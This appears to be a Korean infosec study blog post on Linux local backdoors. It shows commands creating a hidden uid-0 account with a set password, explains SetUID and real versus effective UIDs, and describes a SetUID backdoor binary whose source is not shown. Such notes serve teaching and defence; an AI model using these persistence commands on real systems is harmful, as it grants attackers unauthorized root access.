본문 바로가기

INFOSEC/LINUX

Local Backdoor

passwd 백도어

 

# useradd -o -u 0 back

// o 옵션 : 중복된 uid 를 사용하겠다,

// -u  0 : 슈퍼유저 uid

비밀번호 

# echo 'back:songjina.' | chpasswd

# grep back /etc/passwd

back:x:0:501::/home/back:/bin/bash

 

//back 유저의 비밀번호 songjina. (쉘에 뜨는 대화형이 아닌, 한 문장으로 끝내기 위해 이런 명령어를 씀.

 

ssh 로 접속해보면,

root 권한으로 접속됨을 확인할 수 있다.

 

 


 

 

명령어 에 대한 권한 따로, 파일에 대한 권한 따로 임을 기억해야한다.

 

 

대표적인 예

passwd 명령어

passwd (/user/bin/passwd ) 명령어를 실행할 때에는 shadow 파일 ( /etc/shadow) 에 기록된다. 

따라서 shadow 파일에 쓰기 권한이 있어야 하는데, 

실제로 shadow 파일의 권한은

/etc/shadow

아무에게도 없다....

 

그래서 passwd 명령어의 권한을 살펴보면

파일의 소유주 필드의 실행 비트에 s가 설정되어 있는 경우 SetUID가 적용된 파일 임을 알 수 있다.

( set uid ? 리눅스 특수 권한으로, 소유자 퍼미션으로 실행 가능. )

 

 

 

passwd 명령어 실행할 때,

소유자 권한으로 shadow 파일 실행할 수 있다면서

일반사용자로 들어갔을 때, 자신의 passwd 변경이 아닌 다른 사용자의 passwd에는 접근할 수 없도록 되어있다.

왜 그런것일까?

 

 

RUID ( Real uid ), EUID ( Effective uid ) 로 구분하기 때문이다.

ruid 는 실제적인 일반사용자 id 로 바뀌지 않는다. 

바뀌는 것은 euid로, 일시적으로 root로 바뀌는것.

ruid 는 그대로여서, 일반 사용자인지 아닌지를 구분하고, 권한을 주지 않는다.

 

 

 


 

 

 프로세스의 RUID / EUID 권한 확인

# vi /root/getuid.c

 

vi /root/getuid.c

 

컴파일

# gcc -o getuid /root/getuid.c

# ./getuid

 

 

RUID, EUID 를 확인하고,

이제 SetUID 를 설정하고 비교해본다.

 

 

 

SetUID 를 해주고 나니, EUID 가 0번 (슈퍼유저 권한) 으로 바뀐 것을 확인할 수 있다.

 

 


 

> local backdoor 만들기 예제

 

# vi /tmp/backdoor.c

 

 

 

컴파일 후, 권한 변경 ( Set UID )

 

 

 

 

이제 일반사용자 계정으로 들어가서

backdoor 파일을 실행하면

슈퍼유저 권한으로 (uid=0) 으로 변경할 수 있다. (패스워드 입력하는 과정같은거 일체 없이 바로.) 

 

 

 

 

 

 

 

'INFOSEC > LINUX' 카테고리의 다른 글

Backdoor Rootkit  (0) 2019.09.25
Local Backdoor  (0) 2019.09.24
시스템 로그 분석 ( logrotate )  (0) 2019.09.23
PAM (Pluggable Authentication Modules)  (0) 2019.09.19
Linux Router Mode 2  (0) 2019.08.28